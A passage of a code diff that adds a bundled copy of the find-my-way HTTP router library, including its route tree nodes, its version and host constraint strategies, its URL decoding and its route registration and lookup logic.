Function("derivedConstraints", lines.join("\n")); + } + }; + module.exports = HandlerStorage; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/node.js +var require_node = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/node.js"(exports, module) { + "use strict"; + var HandlerStorage = require_handler_storage(); + var NODE_TYPES = { + STATIC: 0, + PARAMETRIC: 1, + WILDCARD: 2 + }; + var Node = class { + constructor() { + this.isLeafNode = false; + this.routes = null; + this.handlerStorage = null; + } + addRoute(route, constrainer) { + if (this.routes === null) { + this.routes = []; + } + if (this.handlerStorage === null) { + this.handlerStorage = new HandlerStorage(); + } + this.isLeafNode = true; + this.routes.push(route); + this.handlerStorage.addHandler(constrainer, route); + } + }; + var ParentNode = class extends Node { + constructor() { + super(); + this.staticChildrenCharCodes = []; + this.staticChildrenNodes = []; + } + setStaticChild(label, node) { + const charCode = label.charCodeAt(0); + const index2 = this.staticChildrenCharCodes.indexOf(charCode); + if (index2 === -1) { + this.staticChildrenCharCodes.push(charCode); + this.staticChildrenNodes.push(node); + } else { + this.staticChildrenNodes[index2] = node; + } + } + findStaticMatchingChild(path, pathIndex) { + const charCode = path.charCodeAt(pathIndex); + const charCodes = this.staticChildrenCharCodes; + for (let i = 0; i < charCodes.length; i++) { + if (charCodes[i] === charCode) { + const staticChild = this.staticChildrenNodes[i]; + if (staticChild.matchPrefix(path, pathIndex)) { + return staticChild; + } + return null; + } + } + return null; + } + getStaticChild(path, pathIndex = 0) { + if (path.length === pathIndex) { + return this; + } + const staticChild = this.findStaticMatchingChild(path, pathIndex); + if (staticChild) { + return staticChild.getStaticChild(path, pathIndex + staticChild.prefix.length); + } + return null; + } + createStaticChild(path) { + if (path.length === 0) { + return this; + } + const childIndex = this.staticChildrenCharCodes.indexOf(path.charCodeAt(0)); + let staticChild = childIndex === -1 ? void 0 : this.staticChildrenNodes[childIndex]; + if (staticChild) { + let i = 1; + for (; i < staticChild.prefix.length; i++) { + if (path.charCodeAt(i) !== staticChild.prefix.charCodeAt(i)) { + staticChild = staticChild.split(this, i); + break; + } + } + return staticChild.createStaticChild(path.slice(i)); + } + const node = new StaticNode(path); + this.setStaticChild(path.charAt(0), node); + return node; + } + }; + var StaticNode = class _StaticNode extends ParentNode { + constructor(prefix) { + super(); + this.prefix = prefix; + this.wildcardChild = null; + this.parametricChildren = []; + this.kind = NODE_TYPES.STATIC; + this._compilePrefixMatch(); + } + getParametricChild(regex) { + const regexpSource = regex && regex.source; + const parametricChild = this.parametricChildren.find((child) => { + const childRegexSource = child.regex && child.regex.source; + return childRegexSource === regexpSource; + }); + if (parametricChild) { + return parametricChild; + } + return null; + } + createParametricChild(regex, staticSuffix, nodePath) { + let parametricChild = this.getParametricChild(regex); + if (parametricChild) { + parametricChild.nodePaths.add(nodePath); + return parametricChild; + } + parametricChild = new ParametricNode(regex, staticSuffix, nodePath); + this.parametricChildren.push(parametricChild); + this.parametricChildren.sort((child1, child2) => { + if (!child1.isRegex) return 1; + if (!child2.isRegex) return -1; + if (child1.staticSuffix === null) return 1; + if (child2.staticSuffix === null) return -1; + if (child2.staticSuffix.endsWith(child1.staticSuffix)) return 1; + if (child1.staticSuffix.endsWith(child2.staticSuffix)) return -1; + return 0; + }); + return parametricChild; + } + getWildcardChild() { + return this.wildcardChild; + } + createWildcardChild() { + this.wildcardChild = this.getWildcardChild() || new WildcardNode(); + return this.wildcardChild; + } + split(parentNode, length) { + const parentPrefix = this.prefix.slice(0, length); + const childPrefix = this.prefix.slice(length); + this.prefix = childPrefix; + this._compilePrefixMatch(); + const staticNode = new _StaticNode(parentPrefix); + staticNode.setStaticChild(childPrefix.charAt(0), this); + parentNode.setStaticChild(parentPrefix.charAt(0), staticNode); + return staticNode; + } + getNextNode(path, pathIndex, nodeStack, paramsCount) { + let node = this.findStaticMatchingChild(path, pathIndex); + let parametricBrotherNodeIndex = 0; + if (node === null) { + if (this.parametricChildren.length === 0) { + return this.wildcardChild; + } + node = this.parametricChildren[0]; + parametricBrotherNodeIndex = 1; + } + if (this.wildcardChild !== null) { + nodeStack.push({ + paramsCount, + brotherPathIndex: pathIndex, + brotherNode: this.wildcardChild + }); + } + for (let i = this.parametricChildren.length - 1; i >= parametricBrotherNodeIndex; i--) { + nodeStack.push({ + paramsCount, + brotherPathIndex: pathIndex, + brotherNode: this.parametricChildren[i] + }); + } + return node; + } + _compilePrefixMatch() { + if (this.prefix.length === 1) { + this.matchPrefix = () => true; + return; + } + const lines = []; + for (let i = 1; i < this.prefix.length; i++) { + const charCode = this.prefix.charCodeAt(i); + lines.push(`path.charCodeAt(i + ${i}) === ${charCode}`); + } + this.matchPrefix = new Function("path", "i", `return ${lines.join(" && ")}`); + } + }; + var ParametricNode = class extends ParentNode { + constructor(regex, staticSuffix, nodePath) { + super(); + this.isRegex = !!regex; + this.regex = regex || null; + this.staticSuffix = staticSuffix || null; + this.kind = NODE_TYPES.PARAMETRIC; + this.nodePaths = /* @__PURE__ */ new Set([nodePath]); + } + getNextNode(path, pathIndex) { + return this.findStaticMatchingChild(path, pathIndex); + } + }; + var WildcardNode = class extends Node { + constructor() { + super(); + this.kind = NODE_TYPES.WILDCARD; + } + getNextNode() { + return null; + } + }; + module.exports = { StaticNode, ParametricNode, WildcardNode, NODE_TYPES }; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/strategies/accept-version.js +var require_accept_version = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/strategies/accept-version.js"(exports, module) { + "use strict"; + var assert2 = __require("node:assert"); + function SemVerStore() { + if (!(this instanceof SemVerStore)) { + return new SemVerStore(); + } + this.store = /* @__PURE__ */ new Map(); + this.maxMajor = 0; + this.maxMinors = {}; + this.maxPatches = {}; + } + SemVerStore.prototype.set = function(version3, store) { + if (typeof version3 !== "string") { + throw new TypeError("Version should be a string"); + } + let [major2, minor, patch] = version3.split(".", 3); + if (isNaN(major2)) { + throw new TypeError("Major version must be a numeric value"); + } + major2 = Number(major2); + minor = Number(minor) || 0; + patch = Number(patch) || 0; + if (major2 >= this.maxMajor) { + this.maxMajor = major2; + this.store.set("x", store); + this.store.set("*", store); + this.store.set("x.x", store); + this.store.set("x.x.x", store); + } + if (minor >= (this.maxMinors[major2] || 0)) { + this.maxMinors[major2] = minor; + this.store.set(`${major2}.x`, store); + this.store.set(`${major2}.x.x`, store); + } + if (patch >= (this.maxPatches[`${major2}.${minor}`] || 0)) { + this.maxPatches[`${major2}.${minor}`] = patch; + this.store.set(`${major2}.${minor}.x`, store); + } + this.store.set(`${major2}.${minor}.${patch}`, store); + return this; + }; + SemVerStore.prototype.get = function(version3) { + return this.store.get(version3); + }; + module.exports = { + name: "version", + mustMatchWhenDerived: true, + storage: SemVerStore, + validate(value) { + assert2(typeof value === "string", "Version should be a string"); + } + }; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/strategies/accept-host.js +var require_accept_host = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/strategies/accept-host.js"(exports, module) { + "use strict"; + var assert2 = __require("node:assert"); + function HostStorage() { + const hosts = /* @__PURE__ */ new Map(); + const regexHosts = []; + const regexCache = /* @__PURE__ */ new Map(); + return { + get: (host) => { + const exact = hosts.get(host); + if (exact) { + return exact; + } + if (regexHosts.length === 0) return void 0; + if (regexCache.has(host)) return regexCache.get(host); + for (const regex of regexHosts) { + if (regex.host.test(host)) { + regexCache.set(host, regex.value); + return regex.value; + } + } + regexCache.set(host, void 0); + }, + set: (host, value) => { + if (host instanceof RegExp) { + const safeRegex = new RegExp(host.source, host.flags.replace(/[gy]/g, "")); + regexHosts.push({ host: safeRegex, value }); + regexCache.clear(); + } else { + hosts.set(host, value); + } + } + }; + } + module.exports = { + name: "host", + mustMatchWhenDerived: false, + storage: HostStorage, + validate(value) { + assert2(typeof value === "string" || Object.prototype.toString.call(value) === "[object RegExp]", "Host should be a string or a RegExp"); + } + }; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/constrainer.js +var require_constrainer = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/constrainer.js"(exports, module) { + "use strict"; + var acceptVersionStrategy = require_accept_version(); + var acceptHostStrategy = require_accept_host(); + var assert2 = __require("node:assert"); + var Constrainer = class { + constructor(customStrategies) { + this.strategies = { + version: acceptVersionStrategy, + host: acceptHostStrategy + }; + this.strategiesInUse = /* @__PURE__ */ new Set(); + this.asyncStrategiesInUse = /* @__PURE__ */ new Set(); + if (customStrategies) { + for (const strategy of Object.values(customStrategies)) { + this.addConstraintStrategy(strategy); + } + } + } + isStrategyUsed(strategyName) { + return this.strategiesInUse.has(strategyName) || this.asyncStrategiesInUse.has(strategyName); + } + hasConstraintStrategy(strategyName) { + const customConstraintStrategy = this.strategies[strategyName]; + if (customConstraintStrategy !== void 0) { + return customConstraintStrategy.isCustom || this.isStrategyUsed(strategyName); + } + return false; + } + addConstraintStrategy(strategy) { + assert2(typeof strategy.name === "string" && strategy.name !== "", "strategy.name is required."); + assert2(strategy.storage && typeof strategy.storage === "function", "strategy.storage function is required."); + assert2(strategy.deriveConstraint && typeof strategy.deriveConstraint === "function", "strategy.deriveConstraint function is required."); + if (this.strategies[strategy.name] && this.strategies[strategy.name].isCustom) { + throw new Error(`There already exists a custom constraint with the name ${strategy.name}.`); + } + if (this.isStrategyUsed(strategy.name)) { + throw new Error(`There already exists a route with ${strategy.name} constraint.`); + } + strategy.isCustom = true; + strategy.isAsync = strategy.deriveConstraint.length === 3; + this.strategies[strategy.name] = strategy; + if (strategy.mustMatchWhenDerived) { + this.noteUsage({ [strategy.name]: strategy }); + } + } + deriveConstraints(req, ctx, done) { + const constraints = this.deriveSyncConstraints(req, ctx); + if (done === void 0) { + return constraints; + } + this.deriveAsyncConstraints(constraints, req, ctx, done); + } + deriveSyncConstraints(req, ctx) { + return void 0; + } + // When new constraints start getting used, we need to rebuild the deriver to derive them. Do so if we see novel constraints used. + noteUsage(constraints) { + if (constraints) { + const beforeSize = this.strategiesInUse.size; + for (const key in constraints) { + if (!Object.hasOwn(constraints, key)) continue; + const strategy = this.strategies[key]; + if (strategy.isAsync) { + this.asyncStrategiesInUse.add(key); + } else { + this.strategiesInUse.add(key); + } + } + if (beforeSize !== this.strategiesInUse.size) { + this._buildDeriveConstraints(); + } + } + } + newStoreForConstraint(constraint) { + if (!this.strategies[constraint]) { + throw new Error(`No strategy registered for constraint key ${constraint}`); + } + return this.strategies[constraint].storage(); + } + validateConstraints(constraints) { + for (const key in constraints) { + if (!Object.hasOwn(constraints, key)) continue; + const value = constraints[key]; + if (typeof value === "undefined") { + throw new Error("Can't pass an undefined constraint value, must pass null or no key at all"); + } + const strategy = this.strategies[key]; + if (!strategy) { + throw new Error(`No strategy registered for constraint key ${key}`); + } + if (strategy.validate) { + strategy.validate(value); + } + } + } + deriveAsyncConstraints(constraints, req, ctx, done) { + let asyncConstraintsCount = this.asyncStrategiesInUse.size; + if (asyncConstraintsCount === 0) { + done(null, constraints); + return; + } + let errored = false; + constraints = constraints || {}; + for (const key of this.asyncStrategiesInUse) { + const strategy = this.strategies[key]; + strategy.deriveConstraint(req, ctx, (err, constraintValue) => { + if (errored) return; + if (err !== null) { + errored = true; + done(err); + return; + } + constraints[key] = constraintValue; + if (--asyncConstraintsCount === 0) { + done(null, constraints); + } + }); + } + } + // Optimization: build a fast function for deriving the constraints for all the strategies at once. We inline the definitions of the version constraint and the host constraint for performance. + // If no constraining strategies are in use (no routes constrain on host, or version, or any custom strategies) then we don't need to derive constraints for each route match, so don't do anything special, and just return undefined + // This allows us to not allocate an object to hold constraint values if no constraints are defined. + _buildDeriveConstraints() { + if (this.strategiesInUse.size === 0) return; + const lines = ["return {"]; + for (const key of this.strategiesInUse) { + const strategy = this.strategies[key]; + if (!strategy.isCustom) { + if (key === "version") { + lines.push(" version: req.headers['accept-version'],"); + } else { + lines.push(" host: req.headers.host || req.headers[':authority'],"); + } + } else { + lines.push(` ${strategy.name}: this.strategies.${key}.deriveConstraint(req, ctx),`); + } + } + lines.push("}"); + this.deriveSyncConstraints = new Function("req", "ctx", lines.join("\n")).bind(this); + } + }; + module.exports = Constrainer; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/http-methods.js +var require_http_methods = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/http-methods.js"(exports, module) { + "use strict"; + var httpMethods = [ + "ACL", + "BIND", + "CHECKOUT", + "CONNECT", + "COPY", + "DELETE", + "GET", + "HEAD", + "LINK", + "LOCK", + "M-SEARCH", + "MERGE", + "MKACTIVITY", + "MKCALENDAR", + "MKCOL", + "MOVE", + "NOTIFY", + "OPTIONS", + "PATCH", + "POST", + "PROPFIND", + "PROPPATCH", + "PURGE", + "PUT", + "QUERY", + "REBIND", + "REPORT", + "SEARCH", + "SOURCE", + "SUBSCRIBE", + "TRACE", + "UNBIND", + "UNLINK", + "UNLOCK", + "UNSUBSCRIBE" + ]; + module.exports = httpMethods; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/url-sanitizer.js +var require_url_sanitizer = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/url-sanitizer.js"(exports, module) { + "use strict"; + var DECODE_COMPONENT_TABLE = new Uint8Array(768); + for (const [encoded, char2] of [ + ["%23", "#"], + ["%24", "$"], + ["%25", "%"], + ["%26", "&"], + ["%2B", "+"], + ["%2b", "+"], + ["%2C", ","], + ["%2c", ","], + ["%2F", "/"], + ["%2f", "/"], + ["%3A", ":"], + ["%3a", ":"], + ["%3B", ";"], + ["%3b", ";"], + ["%3D", "="], + ["%3d", "="], + ["%3F", "?"], + ["%3f", "?"], + ["%40", "@"] + ]) { + DECODE_COMPONENT_TABLE[encoded.charCodeAt(1) - 50 << 8 | encoded.charCodeAt(2)] = char2.charCodeAt(0); + } + function decodeComponentCharCode(highCharCode, lowCharCode) { + if (highCharCode < 50 || highCharCode > 52 || lowCharCode > 255) { + return 0; + } + return DECODE_COMPONENT_TABLE[highCharCode - 50 << 8 | lowCharCode]; + } + function decodeComponentChar(highCharCode, lowCharCode) { + const charCode = decodeComponentCharCode(highCharCode, lowCharCode); + if (charCode === 0) { + return null; + } + return String.fromCharCode(charCode); + } + var MIN_NATIVE_SCAN_LENGTH = 12; + function safeDecodeURI(path, useSemicolonDelimiter) { + if (path.length >= MIN_NATIVE_SCAN_LENGTH) { + return safeDecodeURINativeScan(path, useSemicolonDelimiter); + } + return safeDecodeURICharScan(path, useSemicolonDelimiter, 1); + } + function safeDecodeURINativeScan(path, useSemicolonDelimiter) { + const percentIndex = path.indexOf("%", 1); + let delimIndex = path.indexOf("?", 1); + const hashIndex = path.indexOf("#", 1); + if (hashIndex !== -1 && (delimIndex === -1 || hashIndex < delimIndex)) { + delimIndex = hashIndex; + } + if (useSemicolonDelimiter) { + const semicolonIndex = path.indexOf(";", 1); + if (semicolonIndex !== -1 && (delimIndex === -1 || semicolonIndex < delimIndex)) { + delimIndex = semicolonIndex; + } + } + if (percentIndex === -1 || delimIndex !== -1 && percentIndex > delimIndex) { + if (delimIndex === -1) { + return { path, querystring: "", shouldDecodeParam: false }; + } + return { + path: path.slice(0, delimIndex), + querystring: path.slice(delimIndex + 1), + shouldDecodeParam: false + }; + } + return safeDecodeURIPercentScan(path, useSemicolonDelimiter, percentIndex); + } + function safeDecodeURICharScan(path, useSemicolonDelimiter, startIndex) { + for (let i = startIndex; i < path.length; i++) { + const charCode = path.charCodeAt(i); + if (charCode === 37) { + return safeDecodeURIPercentScan(path, useSemicolonDelimiter, i); + } else if (charCode === 63 || charCode === 35 || charCode === 59 && useSemicolonDelimiter) { + return { + path: path.slice(0, i), + querystring: path.slice(i + 1), + shouldDecodeParam: false + }; + } + } + return { path, querystring: "", shouldDecodeParam: false }; + } + function reencodePercentChar(path, index2) { + return path.slice(0, index2 + 1) + "25" + path.slice(index2 + 1); + } + function safeDecodeURIPercentScan(path, useSemicolonDelimiter, startIndex) { + let shouldDecode = false; + let shouldDecodeParam = false; + let querystring = ""; + for (let i = startIndex; i < path.length; i++) { + const charCode = path.charCodeAt(i); + if (charCode === 37) { + const componentCharCode = decodeComponentCharCode(path.charCodeAt(i + 1), path.charCodeAt(i + 2)); + if (componentCharCode === 0) { + shouldDecode = true; + } else { + shouldDecodeParam = true; + if (componentCharCode === 37) { + shouldDecode = true; + path = reencodePercentChar(path, i); + i += 2; + } + i += 2; + } + } else if (charCode === 63 || charCode === 35 || charCode === 59 && useSemicolonDelimiter) { + querystring = path.slice(i + 1); + path = path.slice(0, i); + break; + } + } + const decodedPath = shouldDecode ? decodeURI(path) : path; + return { path: decodedPath, querystring, shouldDecodeParam }; + } + function safeDecodeURIComponent(uriComponent) { + const startIndex = uriComponent.indexOf("%"); + if (startIndex === -1) return uriComponent; + let decoded = ""; + let lastIndex = startIndex; + for (let i = startIndex; i < uriComponent.length; i++) { + if (uriComponent.charCodeAt(i) === 37) { + const highCharCode = uriComponent.charCodeAt(i + 1); + const lowCharCode = uriComponent.charCodeAt(i + 2); + const decodedChar = decodeComponentChar(highCharCode, lowCharCode); + decoded += uriComponent.slice(lastIndex, i) + decodedChar; + lastIndex = i + 3; + } + } + return uriComponent.slice(0, startIndex) + decoded + uriComponent.slice(lastIndex); + } + module.exports = { safeDecodeURI, safeDecodeURIComponent, safeDecodeURINativeScan, safeDecodeURICharScan, MIN_NATIVE_SCAN_LENGTH }; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/index.js +var require_find_my_way = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/index.js"(exports, module) { + "use strict"; + var assert2 = __require("node:assert"); + var querystring = require_lib(); + var isRegexSafe = require_safe_regex2(); + var deepEqual = require_fast_deep_equal(); + var { prettyPrintTree } = require_pretty_print(); + var { StaticNode, NODE_TYPES } = require_node(); + var Constrainer = require_constrainer(); + var httpMethods = require_http_methods(); + var httpMethodStrategy = require_http_method(); + var { safeDecodeURI, safeDecodeURIComponent, safeDecodeURINativeScan, safeDecodeURICharScan, MIN_NATIVE_SCAN_LENGTH } = require_url_sanitizer(); + var OPTIONAL_PARAM_REGEXP = /(\/:[^/()]*?)\?(\/?)/; + var ESCAPE_REGEXP = /[.*+?^${}()|[\]\\]/g; + var REMOVE_DUPLICATE_SLASHES_REGEXP = /\/\/+/g; + if (!isRegexSafe(OPTIONAL_PARAM_REGEXP)) { + throw new Error("the OPTIONAL_PARAM_REGEXP is not safe, update this module"); + } + if (!isRegexSafe(ESCAPE_REGEXP)) { + throw new Error("the ESCAPE_REGEXP is not safe, update this module"); + } + if (!isRegexSafe(REMOVE_DUPLICATE_SLASHES_REGEXP)) { + throw new Error("the REMOVE_DUPLICATE_SLASHES_REGEXP is not safe, update this module"); + } + function Router(opts) { + if (!(this instanceof Router)) { + return new Router(opts); + } + opts = opts || {}; + this._opts = opts; + if (opts.defaultRoute) { + assert2(typeof opts.defaultRoute === "function", "The default route must be a function"); + this.defaultRoute = opts.defaultRoute; + } else { + this.defaultRoute = null; + } + if (opts.onBadUrl) { + assert2(typeof opts.onBadUrl === "function", "The bad url handler must be a function"); + this.onBadUrl = opts.onBadUrl; + } else { + this.onBadUrl = null; + } + if (opts.buildPrettyMeta) { + assert2(typeof opts.buildPrettyMeta === "function", "buildPrettyMeta must be a function"); + this.buildPrettyMeta = opts.buildPrettyMeta; + } else { + this.buildPrettyMeta = defaultBuildPrettyMeta; + } + if (opts.querystringParser) { + assert2(typeof opts.querystringParser === "function", "querystringParser must be a function"); + this.querystringParser = opts.querystringParser; + } else { + this.querystringParser = (query) => query.length === 0 ? {} : querystring.parse(query); + } + this.caseSensitive = opts.caseSensitive === void 0 ? true : opts.caseSensitive; + this.ignoreTrailingSlash = opts.ignoreTrailingSlash || false; + this.ignoreDuplicateSlashes = opts.ignoreDuplicateSlashes || false; + this.maxParamLength = opts.maxParamLength || 100; + this.onMaxParamLength = opts.onMaxParamLength || null; + this.allowUnsafeRegex = opts.allowUnsafeRegex || false; + this.constrainer = new Constrainer(opts.constraints); + this.useSemicolonDelimiter = opts.useSemicolonDelimiter || false; + this.routes = []; + this.trees = /* @__PURE__ */ Object.create(null); + this._treeGET = null; + } + Router.prototype.on = function on(method, path, opts, handler, store) { + if (typeof opts === "function") { + if (handler !== void 0) { + store = handler; + } + handler = opts; + opts = {}; + } + assert2(typeof path === "string", "Path should be a string"); + assert2(path.length > 0, "The path could not be empty"); + assert2(path[0] === "/" || path[0] === "*", "The first character of a path should be `/` or `*`"); + assert2(typeof handler === "function", "Handler should be a function"); + const optionalParamMatch = path.match(OPTIONAL_PARAM_REGEXP); + if (optionalParamMatch) { + assert2(path.length === optionalParamMatch.index + optionalParamMatch[0].length, "Optional Parameter needs to be the last parameter of the path"); + const pathFull = path.replace(OPTIONAL_PARAM_REGEXP, "$1$2"); + const pathOptional = path.replace(OPTIONAL_PARAM_REGEXP, "$2") || "/"; + this.on(method, pathFull, opts, handler, store); + this.on(method, pathOptional, opts, handler, store); + return; + } + const route = path; + if (this.ignoreDuplicateSlashes) { + path = removeDuplicateSlashes(path); + } + if (this.ignoreTrailingSlash) { + path = trimLastSlash(path); + } + const methods = Array.isArray(method) ? method : [method]; + for (const method2 of methods) { + assert2(typeof method2 === "string", "Method should be a string"); + assert2(httpMethods.includes(method2), `Method '${method2}' is not an http method.`); + this._on(method2, path, opts, handler, store, route); + } + }; + Router.prototype._on = function _on(method, path, opts, handler, store) { + let constraints = {}; + if (opts.constraints !== void 0) { + assert2(typeof opts.constraints === "object" && opts.constraints !== null, "Constraints should be an object"); + if (Object.keys(opts.constraints).length !== 0) { + constraints = opts.constraints; + } + } + this.constrainer.validateConstraints(constraints); + this.constrainer.noteUsage(constraints); + if (this.trees[method] === void 0) { + this.trees[method] = new StaticNode("/"); + } + let pattern = path; + if (pattern === "*" && this.trees[method].prefix.length !== 0) { + const currentRoot = this.trees[method]; + this.trees[method] = new StaticNode(""); + this.trees[method].setStaticChild("/", currentRoot); + } + let currentNode = this.trees[method]; + if (method === "GET") { + this._treeGET = currentNode; + } + let parentNodePathIndex = currentNode.prefix.length; + const params = []; + for (let i = 0; i <= pattern.length; i++) { + if (pattern.charCodeAt(i) === 58 && pattern.charCodeAt(i + 1) === 58) { + i++; + continue; + } + const isParametricNode = pattern.charCodeAt(i) === 58 && pattern.charCodeAt(i + 1) !== 58; + const isWildcardNode = pattern.charCodeAt(i) === 42; + if (isParametricNode || isWildcardNode || i === pattern.length && i !== parentNodePathIndex) { + let staticNodePath = pattern.slice(parentNodePathIndex, i); + if (!this.caseSensitive) { + staticNodePath = staticNodePath.toLowerCase(); + } + staticNodePath = staticNodePath.replaceAll("::", ":"); + staticNodePath = staticNodePath.replaceAll("%", "%25"); + currentNode = currentNode.createStaticChild(staticNodePath); + } + if (isParametricNode) { + let isRegexNode = false; + let isParamSafe = true; + let backtrack = ""; + const regexps = []; + let nodePatternParts = ""; + let lastParamStartIndex = i + 1; + for (let j = lastParamStartIndex; ; j++) { + const charCode = pattern.charCodeAt(j); + const isRegexParam = charCode === 40; + const isStaticPart = charCode === 45 || charCode === 46; + const isEndOfNode = charCode === 47 || j === pattern.length; + if (isRegexParam || isStaticPart || isEndOfNode) { + const paramName = pattern.slice(lastParamStartIndex, j); + params.push(paramName); + isRegexNode = isRegexNode || isRegexParam || isStaticPart; + if (isRegexParam) { + const endOfRegexIndex = getClosingParenthensePosition(pattern, j); + const regexString = pattern.slice(j, endOfRegexIndex + 1); + if (!this.allowUnsafeRegex) { + assert2(isRegexSafe(new RegExp(regexString)), `The regex '${regexString}' is not safe!`); + } + regexps.push(trimRegExpStartAndEnd(regexString)); + j = endOfRegexIndex + 1; + isParamSafe = true; + } else { + regexps.push(isParamSafe ? "(.*?)" : `(${backtrack}|(?:(?!${backtrack}).)*)`); + isParamSafe = false; + } + const staticPartStartIndex = j; + for (; j < pattern.length; j++) { + const charCode2 = pattern.charCodeAt(j); + if (charCode2 === 47) break; + if (charCode2 === 58) { + const nextCharCode = pattern.charCodeAt(j + 1); + if (nextCharCode === 58) j++; + else break; + } + } + let staticPart = pattern.slice(staticPartStartIndex, j); + if (staticPart) { + staticPart = staticPart.replaceAll("::", ":"); + staticPart = staticPart.replaceAll("%", "%25"); + regexps.push(backtrack = escapeRegExp(staticPart)); + } + lastParamStartIndex = j + 1; + nodePatternParts += "()" + staticPart; + if (isEndOfNode || pattern.charCodeAt(j) === 47 || j === pattern.length) { + const nodePattern = isRegexNode ? nodePatternParts : staticPart; + const nodePath = pattern.slice(i, j); + pattern = pattern.slice(0, i + 1) + nodePattern + pattern.slice(j); + i += nodePattern.length; + const regex = isRegexNode ? new RegExp("^" + regexps.join("") + "$") : null; + currentNode = currentNode.createParametricChild(regex, staticPart || null, nodePath); + parentNodePathIndex = i + 1; + break; + } + } + } + } else if (isWildcardNode) { + params.push("*"); + currentNode = currentNode.createWildcardChild(); + parentNodePathIndex = i + 1; + if (i !== pattern.length - 1) { + throw new Error("Wildcard must be the last character in the route"); + } + } + } + if (!this.caseSensitive) { + pattern = pattern.toLowerCase(); + } + if (pattern === "*") { + pattern = "/*"; + } + for (const existRoute of this.routes) { + const routeConstraints = existRoute.opts.constraints || {}; + if (existRoute.method === method && existRoute.pattern === pattern && deepEqual(routeConstraints, constraints)) { + throw new Error(`Method '${method}' already declared for route '${pattern}' with constraints '${JSON.stringify(constraints)}'`); + } + } + const route = { method, path, pattern, params, opts, handler, store }; + this.routes.push(route); + currentNode.addRoute(route, this.constrainer); + }; + Router.prototype.hasRoute = function hasRoute(method, path, constraints) { + const route = this.findRoute(method, path, constraints); + return route !== null; + }; + Router.prototype.findRoute = function findNode(method, path, constraints = {}) { + if (this.trees[method] === void 0) { + return null; + } + let pattern = path; + let currentNode = this.trees[method]; + let parentNodePathIndex = currentNode.prefix.length; + const params = []; + for (let i = 0; i <= pattern.length; i++) { + if (pattern.charCodeAt(i) === 58 && pattern.charCodeAt(i + 1) === 58) { + i++; + continue; + } + const isParametricNode = pattern.charCodeAt(i) === 58 && pattern.charCodeAt(i + 1) !== 58; + const isWildcardNode = pattern.charCodeAt(i) === 42; + if (isParametricNode || isWildcardNode || i === pattern.length && i !== parentNodePathIndex) { + let staticNodePath = pattern.slice(parentNodePathIndex, i); + if (!this.caseSensitive) { + staticNodePath = staticNodePath.toLowerCase(); + } + staticNodePath = staticNodePath.replaceAll("::", ":"); + staticNodePath = staticNodePath.replaceAll("%", "%25"); + currentNode = currentNode.getStaticChild(staticNodePath); + if (currentNode === null) { + return null; + } + } + if (isParametricNode) { + let isRegexNode = false; + let isParamSafe = true; + let backtrack = ""; + const regexps = []; + let nodePatternParts = ""; + let lastParamStartIndex = i + 1; + for (let j = lastParamStartIndex; ; j++) { + const charCode = pattern.charCodeAt(j); + const isRegexParam = charCode === 40; + const isStaticPart = charCode === 45 || charCode === 46; + const isEndOfNode = charCode === 47 || j === pattern.length; + if (isRegexParam || isStaticPart || isEndOfNode) { + const paramName = pattern.slice(lastParamStartIndex, j); + params.push(paramName); + isRegexNode = isRegexNode || isRegexParam || isStaticPart; + if (isRegexParam) { + const endOfRegexIndex = getClosingParenthensePosition(pattern, j); + const regexString = pattern.slice(j, endOfRegexIndex + 1); + if (!this.allowUnsafeRegex) { + assert2(isRegexSafe(new RegExp(regexString)), `The regex '${regexString}' is not safe!`); + } + regexps.push(trimRegExpStartAndEnd(regexString)); + j = endOfRegexIndex + 1; + isParamSafe = true; + } else { + regexps.push(isParamSafe ? "(.*?)" : `(${backtrack}|(?:(?!${backtrack}).)*)`); + isParamSafe = false; + } + const staticPartStartIndex = j; + for (; j < pattern.length; j++) { + const charCode2 = pattern.charCodeAt(j); + if (charCode2 === 47) break; + if (charCode2 === 58) { + const nextCharCode = pattern.charCodeAt(j + 1); + if (nextCharCode === 58) j++; + else break; + } + } + let staticPart = pattern.slice(staticPartStartIndex, j); + if (staticPart) { + staticPart = staticPart.replaceAll("::", ":"); + staticPart = staticPart.replaceAll("%", "%25"); + regexps.push(backtrack = escapeRegExp(staticPart)); + } + lastParamStartIndex = j + 1; + nodePatternParts += "()" + staticPart; + if (isEndOfNode || pattern.charCodeAt(j) === 47 || j === pattern.length) { + const nodePattern = isRegexNode ? nodePatternParts : staticPart; + const nodePath = pattern.slice(i, j); + pattern = pattern.slice(0, i + 1) + nodePattern + pattern.slice(j); + i += nodePattern.length; + const regex = isRegexNode ? new RegExp("^" + regexps.join("") + "$") : null; + currentNode = currentNode.getParametricChild(regex, staticPart || null, nodePath); + if (currentNode === null) { + return null; + } + parentNodePathIndex = i + 1; + break; + } + } + } + } else if (isWildcardNode) { + params.push("*"); + currentNode = currentNode.getWildcardChild(); + parentNodePathIndex = i + 1; + if (i !== pattern.length - 1) { + throw new Error("Wildcard must be the last character in the route"); + } + } + } + if (!this.caseSensitive) { + pattern = pattern.toLowerCase(); + } + for (const existRoute of this.routes) { + const routeConstraints = existRoute.opts.constraints || {}; + if (existRoute.method === method && existRoute.pattern === pattern && deepEqual(routeConstraints, constraints)) { + return { + handler: existRoute.handler, + store: existRoute.store, + params: existRoute.params + }; + } + } + return null; + }; + Router.prototype.hasConstraintStrategy = function(strategyName) { + return this.constrainer.hasConstraintStrategy(strategyName); + }; + Router.prototype.addConstraintStrategy = function(constraints) { + this.constrainer.addConstraintStrategy(constraints); + this._rebuild(this.routes); + }; + Router.prototype.reset = function reset2() { 